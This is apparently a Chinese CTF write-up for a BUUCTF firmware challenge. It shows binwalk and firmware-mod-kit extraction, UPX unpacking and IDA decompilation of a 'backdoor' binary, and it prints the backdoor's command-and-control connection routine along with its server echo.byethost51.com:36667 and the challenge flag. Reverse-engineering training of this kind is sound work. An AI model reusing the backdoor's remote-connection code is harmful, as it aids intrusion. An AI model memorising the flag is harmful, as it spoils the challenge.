BUUCTF firmware

原创

1ens 于 2021-11-09 00:08:32 发布 831 收藏
分类专栏： BUU刷题 文章标签： ar

新题型，记录

拿到手的是bin文件，也就是二进制文件，其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件，只是表明它是binary格式。

一安装binwalk

```
$ sudo apt-get update

$ sudo apt-get install binwalk
```

binwalk解压固件

```
binwalk -e firmware.bin(路径)
```

得到下面的压缩包

120200.squashfs是一个linux的压缩文件
我们用firmware-mod-kit工具来解压。

安装irmware-mod-kit

将120200.squashfs文件复制到firmware-mod-kit下，执行

```
./unsquashfs_all.sh 120200.squashfs
```

题目要求分析出后门程序所使用的远程服务器和端口。
tmp文件夹中有我们想要的后门程序：backdoor

查壳，upx脱壳，放入IDA

Type	String
C	echo.byethost51.com

```
bool initConnection()
{
  char *v0; // r0
  char s[512]; // [sp+4h] [bp-208h] BYREF
  int v3; // [sp+204h] [bp-8h]

  memset(s, 0, sizeof(s));
  if ( mainCommSock )
  {
    close(mainCommSock);
    mainCommSock = 0;
  }
  if ( currentServer )
    ++currentServer;
  else
    currentServer = 0;
  strcpy(s, (&commServer)[currentServer]);
  v3 = 36667;
  if ( strchr(s, 58) )
  {
    v0 = strchr(s, 58);
    v3 = atoi(v0 + 1);
    *strchr(s, 58) = 0;
  }
  mainCommSock = socket(2, 1, 0);
  return connectTimeout(mainCommSock, s, v3, 30) == 0;
}
```


端口为36667

网址：echo.byethost51.com

最后形式为 echo.byethost51.com:36667

flag{33a422c45d551ac6e4756f59812a954b}